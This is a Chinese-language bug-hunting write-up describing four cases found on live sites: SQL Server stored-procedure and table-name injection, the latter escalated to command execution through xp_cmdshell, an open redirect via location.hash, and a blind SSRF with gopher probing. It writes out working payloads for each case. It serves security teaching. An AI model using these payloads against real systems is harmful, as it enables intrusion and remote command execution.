0
  • 聊天消息
  • 系統(tǒng)消息
  • 評(píng)論與回復(fù)
登錄后你可以
  • 下載海量資料
  • 學(xué)習(xí)在線課程
  • 觀看技術(shù)視頻
  • 寫文章/發(fā)帖/加入社區(qū)
會(huì)員中心
創(chuàng)作中心

完善資料讓更多小伙伴認(rèn)識(shí)你,還能領(lǐng)取20積分哦,立即完善>

3天內(nèi)不再提示

四個(gè)有趣的真實(shí)漏洞挖掘案例

jf_Fo0qk3ln ? 來源:博客園 ? 2023-05-04 11:50 ? 次閱讀

0x00 前言

好久沒寫真實(shí)漏洞挖掘案例了,今天寫一筆。直接發(fā)漏洞細(xì)節(jié)很生硬,大家也學(xué)不到什么,只有帶入感情,留下筆者的想法,才能產(chǎn)生共鳴,真正的幫助到別人。

四個(gè)漏洞描述順序:

存儲(chǔ)過程sql注入;
table頭注入;
通用的url跳轉(zhuǎn);
盲ssrf漏洞;

0x01 存儲(chǔ)過程sql注入

首先我先介紹我近期挖到的第一個(gè)漏洞:sql server exec存儲(chǔ)過程處 sql injection。

這是我在挖國(guó)外遇到的一個(gè)網(wǎng)站,遇到的一個(gè)真實(shí)案例,一個(gè)后臺(tái)的某個(gè)功能點(diǎn),存在存儲(chǔ)過程sql注入,使用單引號(hào)測(cè)試,發(fā)現(xiàn)他報(bào)錯(cuò)了。

ERROR:[Microsoft][ODBC SQL Server Driver][SQL Server]Procedure or function 'proc_*' expects parameter '@linked', which was not supplied.

這個(gè)報(bào)錯(cuò)很特別,和我平時(shí)看到的sql server報(bào)錯(cuò)信息不一樣,我第一時(shí)間去谷歌搜索了下這個(gè)報(bào)錯(cuò)信息,很快就找到了一篇文章。

https://stackoverflow.com/questions/19703653/stored-procedure-or-function-expects-parameter-which-is-not-supplied

stackoverflow查看網(wǎng)站報(bào)錯(cuò)信息真的很方便,很方便幫我們判斷使用了哪些技術(shù). 雖然我英語很差,但是谷歌瀏覽器自帶的翻譯功能就夠了,很快我就知道這是個(gè)sql server的存儲(chǔ)過程報(bào)錯(cuò)。

話說回來,不通過谷歌搜索報(bào)錯(cuò)語句,通過單引號(hào)報(bào)錯(cuò),其實(shí)就可能猜出來個(gè)大概。

我還是很常規(guī)的測(cè)試,因?yàn)閳?bào)錯(cuò)了,所以我企圖用最簡(jiǎn)單的方法讓其報(bào)錯(cuò)出user/database等,嘗試poc:

'and 1>user and'1'='1
'and user<0 and '1'='1

發(fā)現(xiàn)沒有出user,甚至仍然報(bào)錯(cuò),其實(shí)這是正常的。后續(xù)測(cè)試發(fā)現(xiàn),只要我在后面添加內(nèi)容,他就會(huì)一直報(bào)錯(cuò)...,他好像不允許添加過多的注入payload

4049d594-e861-11ed-ab56-dac502259ad0.png ?

我開始從報(bào)錯(cuò)注入,轉(zhuǎn)為布爾類型注入測(cè)試:

'and iif(user like '%25',1,1) and'1'='1
?

類似這樣的payload,結(jié)局是淚目的,語句又是各種報(bào)錯(cuò)。我發(fā)現(xiàn)不能再這樣搞了,這樣搞的話思路肯定不對(duì)。

先從理解sql報(bào)錯(cuò)信息開始,理解存儲(chǔ)過程,sql server的存儲(chǔ)過程的語法是這樣的:

exec 任意語句 / exec 'sql語句'

它本身其實(shí)不需要任何單引號(hào)的閉合,因?yàn)樗皇亲址愋妥⑷耄匦抡{(diào)整測(cè)試,測(cè)試就是學(xué)習(xí)的過程,再次上payload:

13 if(substring(db_name(),1,1)='*')waitfor delay'03'

一頓fuzz,延時(shí)3s:

4072f848-e861-11ed-ab56-dac502259ad0.png ?

說明我的這個(gè)poc沒有問題,一開始踩了一個(gè)坑,一個(gè)認(rèn)知問題,慣性思維導(dǎo)致的錯(cuò)誤。

mysql下的ifif(條件,結(jié)果1,結(jié)果2)
sql server下的ifif(條件) 結(jié)果 else (結(jié)果)

這里誤以為sql server的if也是和mysql的if使用一樣,其實(shí)完全不一樣,sql server等同mysql if函數(shù)的是iif函數(shù).

我們知道,sql server報(bào)錯(cuò)有個(gè)很爽的技巧就是基于類型錯(cuò)誤:int+varchar,嘗試報(bào)錯(cuò)出db_name()。

報(bào)錯(cuò)注入poc:

13 if(1=0/db_name())waitfor delay'01'
40883924-e861-11ed-ab56-dac502259ad0.png ?

至此,這個(gè)注入算搞定了,我可以提交了。

0x02 table頭注入

第二個(gè)分享的案例仍然是注入,sql server table頭注入,有意思的地方在于rce處,利用一個(gè)sql server特性我rce了它。

某天我挖一個(gè)站,發(fā)現(xiàn)一個(gè)功能點(diǎn)存在注入,是那種很常規(guī)的注入,通過查看js,我發(fā)現(xiàn)了一個(gè)接口

https://xxx.com/1.aspx?plugin=*&action=*&navigationid=1&table={注入點(diǎn)}

我看到了table參數(shù),我覺得這可能是sql server table頭注入,這是經(jīng)常做安全測(cè)試的一種直覺,我直接輸入了sysobject,他給我大量返回了信息:

40a21e16-e861-11ed-ab56-dac502259ad0.png我很驚喜,那么它代碼的實(shí)現(xiàn)很大可能是:
select * from {可控點(diǎn)}

那么我可以做的事情變得很多很多,這個(gè)注入利用成本很低,我覺得他就是個(gè)任意sql語句執(zhí)行漏洞。

我嘗試rce,為了再次確定他是表頭注入,我嘗試在可控點(diǎn)處添加where等條件語句,嘗試Payload。

sysobjects where xtype='u' #查詢數(shù)據(jù)庫中的所有表名

40c2dbe2-e861-11ed-ab56-dac502259ad0.png

很幸運(yùn),沒任何報(bào)錯(cuò),直接響應(yīng)了。40f39e8a-e861-11ed-ab56-dac502259ad0.png

我開始嘗試rce,我們都知道sql server rce的條件是需要支持堆疊,我嘗試;waitfor delay '03';直接給我報(bào)錯(cuò)了,那么大概率可能不支持堆疊查詢

不過這個(gè)注入點(diǎn)非常特別,是表頭注入,它滿足一定的條件,即使不支持堆疊,只要權(quán)限夠高,我們也可以rce。

先開啟xp_cmdshell擴(kuò)展:

sysobjects+select+1+if+1%3d1+execute('EXEC+sp_configure+''show+advanced+options'',+1%3bRECONFIGURE%3bEXEC+sp_configure+''xp_cmdshell'',+1%3bRECONFIGURE%3b')

執(zhí)行命令:

sysobjects+select+1++if+1%3d1+execute('exec+master..xp_cmdshell+"whoami"')

直接頁面顯示了whoami信息:

41097e58-e861-11ed-ab56-dac502259ad0.png

我是幸運(yùn)的,很快,我就提交了漏洞給相關(guān)廠商。

因?yàn)槭潜眍^注入,所以不需要堆疊了,因?yàn)閟ql server的select支持 select x select x

41217080-e861-11ed-ab56-dac502259ad0.png

sql server容錯(cuò)率很強(qiáng)大,不同類型在一起不會(huì)報(bào)錯(cuò),會(huì)做自動(dòng)區(qū)分。

414f1ad0-e861-11ed-ab56-dac502259ad0.png418330ae-e861-11ed-ab56-dac502259ad0.png

第二個(gè)漏洞分享結(jié)束,開始第三個(gè)url跳轉(zhuǎn)漏洞分享。

0x03 通用的url跳轉(zhuǎn)

其實(shí)有時(shí)候,運(yùn)氣不是總是很好,漏洞也很難挖,連續(xù)好幾天,我都沒挖到漏洞,我在那邊胡亂看著,瞎點(diǎn)著。

有一個(gè)站引起了我的興趣,他的注冊(cè)接口是這樣的。
https://*/sss/yyyy?returnUrl=https://*/#/xxxx/xxx

我對(duì)url參數(shù)比較敏感,通常我會(huì)測(cè)試ssrf/xss,即使他大概率不存在,我也會(huì)測(cè)試下,很顯然,半自動(dòng)化工具沒有發(fā)現(xiàn)任何ssrf和xss漏洞。

我注冊(cè)了一個(gè)賬號(hào),我嘗試登錄,它告訴我,我的賬號(hào)需要審核,我嘗試?yán)@過,我也沒有繞過它。

我發(fā)現(xiàn)我沒發(fā)現(xiàn)漏洞了,那我就隨便看看吧,我都不抓包了,右鍵查看源代碼,發(fā)現(xiàn)了這么一段代碼,以前我就經(jīng)常做js代碼審計(jì),這段代碼我不會(huì)陌生。

if(location.hash){location="https://hostname"+location.hash.substring(1);}

稍微學(xué)過一點(diǎn)js的也不會(huì)陌生,不過我們還是要走一遍基礎(chǔ)的測(cè)試流程,它使用location.hash.*去傳遞參數(shù)。

這個(gè)就是錨點(diǎn)符,常用于站內(nèi)url跳轉(zhuǎn),記錄#/后面的內(nèi)容,其實(shí)這里的本意是做站內(nèi)url跳轉(zhuǎn)用的,不過這里沒在hostname結(jié)尾處加/這個(gè)字符串,導(dǎo)致可以任意跳轉(zhuǎn)。

我們簡(jiǎn)單測(cè)試下:

419ea8c0-e861-11ed-ab56-dac502259ad0.png

那么如果我們想任意url跳轉(zhuǎn)怎么辦???

只需要讓location.hash.substring(1)變成另一個(gè)我們的域名即可,構(gòu)造poc如下:
http://example.com/#.dnslog.cn
他會(huì)直接跳轉(zhuǎn)出信任域,實(shí)現(xiàn)任意頁面url跳轉(zhuǎn)41b673f6-e861-11ed-ab56-dac502259ad0.png

除了這樣還可以通過@domain去跳轉(zhuǎn)到第三方網(wǎng)站,更加方便?。。?/span>

他的修復(fù)方案也很簡(jiǎn)單:

if(location.hash){location="https://hostname/"+location.hash.substring(1);}

至此第三個(gè)漏洞就分享完了。

0x04 盲ssrf漏洞

現(xiàn)在分享最后一個(gè)漏洞,就是盲的ssrf漏洞。前面我說過,我看到url參數(shù),我就會(huì)嘗試下ssrf/xss漏洞,這里我發(fā)現(xiàn)了一個(gè)圖片加載功能,存在ssrf。首先在分享ssrf實(shí)戰(zhàn)案例之前,先分享個(gè)ssrf安全測(cè)試圣經(jīng):https://github.com/cujanovic/SSRF-Testing

github上提供的測(cè)試用例:

https://ssrf.localdomain.pw/img-without-body/301-http-169.254.169.254:80-.i.jpg

如果想探測(cè)是否開放gopher,又不想觸發(fā)waf怎么做?

https://ssrf.localdomain.pw/img-without-body/301-gopher-{dnslog.cn}-.i.jpg

這個(gè)url地址是可以變化的,測(cè)試什么協(xié)議就變成什么協(xié)議,其他測(cè)試樣本不再舉例,類似的,都可以隨意轉(zhuǎn)換

這里嘗試301跳轉(zhuǎn):

41d1f37e-e861-11ed-ab56-dac502259ad0.pngdnslog成功收到請(qǐng)求,注意User-Agent,是libwww,perl的一個(gè)請(qǐng)求依賴庫:
GET / HTTP/1.1
TE: deflate,gzip;q=0.3
Connection: TE, close
Host: bt8vfrpehb5ur0ldbb4o47c9s0yqmf.burpcollaborator.net
User-Agent: ImageVacuum/2.3.10 libwww-perl/6.57
使用上面的思路,測(cè)試下敏感協(xié)議,gopher協(xié)議:4221117a-e861-11ed-ab56-dac502259ad0.png

有反應(yīng),說明大概率是支持gopher協(xié)議的,那么它到底支持不支持呢?

通過查看github libwww代碼,就可以得到答案,他支持這些協(xié)議,其中包含gopher協(xié)議。

42357a66-e861-11ed-ab56-dac502259ad0.png

這樣我們就可以使用gopher協(xié)議去批量fuzz探測(cè)內(nèi)網(wǎng)redis等服務(wù),這個(gè)點(diǎn)到此為止。

下面繼續(xù)科普下盲的ssrf怎么探測(cè)?因?yàn)橐话?span style="font-size:15px;">信息收集不全的情況下,我們沒什么內(nèi)網(wǎng)ip地址,那么我們?cè)趺醋C明是盲ssrf呢?

本地ip:存在端口 vs 本地ip:大概率不存在的端口

25端口提示我圖片類型不對(duì):

42705906-e861-11ed-ab56-dac502259ad0.png250端口,提示我連接被拒絕428635be-e861-11ed-ab56-dac502259ad0.png這樣就可以證明這是個(gè)盲的ssrf,它可以探測(cè)內(nèi)網(wǎng)端口開放情況,然后因?yàn)樗种С謌opher等敏感協(xié)議,它可以fuzz內(nèi)網(wǎng)redis,嘗試shell等,危害將會(huì)大大升級(jí)。 至此,已經(jīng)分享完了四個(gè)漏洞,通過我的所思所想,希望能給大家?guī)硪恍└形颍以撊プ鲲埑粤恕?/span>
審核編輯 :李倩

聲明:本文內(nèi)容及配圖由入駐作者撰寫或者入駐合作網(wǎng)站授權(quán)轉(zhuǎn)載。文章觀點(diǎn)僅代表作者本人,不代表電子發(fā)燒友網(wǎng)立場(chǎng)。文章及其配圖僅供工程師學(xué)習(xí)之用,如有內(nèi)容侵權(quán)或者其他違規(guī)問題,請(qǐng)聯(lián)系本站處理。 舉報(bào)投訴
  • 存儲(chǔ)
    +關(guān)注

    關(guān)注

    13

    文章

    4178

    瀏覽量

    85486
  • SQL
    SQL
    +關(guān)注

    關(guān)注

    1

    文章

    751

    瀏覽量

    43989
  • 漏洞
    +關(guān)注

    關(guān)注

    0

    文章

    203

    瀏覽量

    15333

原文標(biāo)題:四個(gè)有趣的真實(shí)漏洞挖掘案例

文章出處:【微信號(hào):菜鳥學(xué)信安,微信公眾號(hào):菜鳥學(xué)信安】歡迎添加關(guān)注!文章轉(zhuǎn)載請(qǐng)注明出處。

收藏 人收藏

    評(píng)論

    相關(guān)推薦

    IGBT的四個(gè)主要參數(shù)

    IGBT的四個(gè)主要參數(shù)對(duì)于選擇合適的IGBT器件至關(guān)重要。本文將介紹IGBT的四個(gè)主要參數(shù):電壓等級(jí)、電流等級(jí)、開關(guān)頻率和熱性能。 1. 電壓等級(jí) 電壓等級(jí)是IGBT的一個(gè)重要參數(shù),它決定了IGBT能夠承受的最大電壓。電壓等級(jí)的
    的頭像 發(fā)表于 07-25 11:05 ?1890次閱讀

    四個(gè)2輸入異或門數(shù)據(jù)表

    電子發(fā)燒友網(wǎng)站提供《四個(gè)2輸入異或門數(shù)據(jù)表.pdf》資料免費(fèi)下載
    發(fā)表于 05-22 09:58 ?0次下載
    <b class='flag-5'>四個(gè)</b>2輸入異或門數(shù)據(jù)表

    四個(gè)2輸入正極和柵極數(shù)據(jù)表

    電子發(fā)燒友網(wǎng)站提供《四個(gè)2輸入正極和柵極數(shù)據(jù)表.pdf》資料免費(fèi)下載
    發(fā)表于 05-17 10:28 ?0次下載
    <b class='flag-5'>四個(gè)</b>2輸入正極和柵極數(shù)據(jù)表

    四個(gè)2輸入正極和柵極數(shù)據(jù)表

    電子發(fā)燒友網(wǎng)站提供《四個(gè)2輸入正極和柵極數(shù)據(jù)表.pdf》資料免費(fèi)下載
    發(fā)表于 05-16 10:22 ?0次下載
    <b class='flag-5'>四個(gè)</b>2輸入正極和柵極數(shù)據(jù)表

    四個(gè)2輸入異或門數(shù)據(jù)表

    電子發(fā)燒友網(wǎng)站提供《四個(gè)2輸入異或門數(shù)據(jù)表.pdf》資料免費(fèi)下載
    發(fā)表于 05-13 11:04 ?0次下載
    <b class='flag-5'>四個(gè)</b>2輸入異或門數(shù)據(jù)表

    四個(gè)2輸入正極和柵極數(shù)據(jù)表

    電子發(fā)燒友網(wǎng)站提供《四個(gè)2輸入正極和柵極數(shù)據(jù)表.pdf》資料免費(fèi)下載
    發(fā)表于 05-10 10:10 ?0次下載
    <b class='flag-5'>四個(gè)</b>2輸入正極和柵極數(shù)據(jù)表

    有源晶振四個(gè)腳是如何定義的?

    有源晶振四個(gè)腳是如何定義的?有源晶振型號(hào)類型比較多,而且每一種型號(hào)的引腳定義都有所不同,接法也不是通用的。下面小揚(yáng)介紹一下有源晶振常用引腳識(shí)別法,以方便大家:有個(gè)點(diǎn)標(biāo)記的為1腳,按逆時(shí)針(管腳向下)分別為2、3、4。
    的頭像 發(fā)表于 04-28 15:37 ?1421次閱讀
    有源晶振<b class='flag-5'>四個(gè)</b>腳是如何定義的?

    半導(dǎo)體發(fā)展的四個(gè)時(shí)代

    臺(tái)積電的 Suk Lee 發(fā)表了題為“摩爾定律和半導(dǎo)體行業(yè)的第四個(gè)時(shí)代”的主題演講。Suk Lee表示,任何試圖從半導(dǎo)體行業(yè)傳奇而動(dòng)蕩的歷史中發(fā)掘出一些意義的事情都會(huì)引起我的注意。正如臺(tái)積電所解釋
    發(fā)表于 03-27 16:17

    半導(dǎo)體發(fā)展的四個(gè)時(shí)代

    臺(tái)積電的 Suk Lee 發(fā)表了題為“摩爾定律和半導(dǎo)體行業(yè)的第四個(gè)時(shí)代”的主題演講。Suk Lee表示,任何試圖從半導(dǎo)體行業(yè)傳奇而動(dòng)蕩的歷史中發(fā)掘出一些意義的事情都會(huì)引起我的注意。正如臺(tái)積電所解釋
    發(fā)表于 03-13 16:52

    四個(gè)引腳無源晶振的接線方法

    無源晶振是一種常用的被動(dòng)元件,用于產(chǎn)生穩(wěn)定的時(shí)鐘信號(hào)。它通常有四個(gè)引腳,分別是VCC、GND、OUT和NC。
    的頭像 發(fā)表于 01-23 18:15 ?5664次閱讀

    氮化鎵開關(guān)管的四個(gè)電極是什么

    氮化鎵開關(guān)管是一種新型的半導(dǎo)體器件,適用于高頻高壓控制信號(hào)的開關(guān)應(yīng)用。它由四個(gè)電極組成,包括柵極(G,Gate)、源極(S,Source)、漏極(D,Drain)和襯底(B,Body)。 首先,我們
    的頭像 發(fā)表于 12-27 14:39 ?934次閱讀

    SMT絲印技術(shù)的歷史發(fā)展的四個(gè)階段,你知道嗎?

    SMT絲印技術(shù)的歷史發(fā)展的四個(gè)階段,你知道嗎?
    的頭像 發(fā)表于 12-27 10:15 ?705次閱讀

    四個(gè)問題幫你確定是否需要采用有源電纜(AEC)解決方案

    四個(gè)問題幫你確定是否需要采用有源電纜(AEC)解決方案
    的頭像 發(fā)表于 12-05 14:38 ?915次閱讀
    <b class='flag-5'>四個(gè)</b>問題幫你確定是否需要采用有源電纜(AEC)解決方案

    vlookup函數(shù)的四個(gè)參數(shù)含義

    VLOOKUP函數(shù)是一種用于在Excel中查找和提取數(shù)據(jù)的功能強(qiáng)大的函數(shù)。它的四個(gè)參數(shù)含義分別是:查找值、查找范圍、返回列索引和區(qū)域或表標(biāo)志。 首先,讓我們來詳細(xì)了解這四個(gè)參數(shù)的含義,并討論如何正確
    的頭像 發(fā)表于 12-01 09:57 ?6657次閱讀

    四個(gè)腿的電感是什么?有什么作用?

    四個(gè)腿的電感是什么?有什么作用? 四個(gè)腿的電感是指由條腿組成的電路,其作用是用于檢測(cè)或測(cè)量電導(dǎo)率,阻抗和電容等電學(xué)特性。這種電感器適用于許多不同的應(yīng)用,例如精密儀器、航空航天、醫(yī)療設(shè)備、工業(yè)自動(dòng)化
    的頭像 發(fā)表于 10-31 14:43 ?1350次閱讀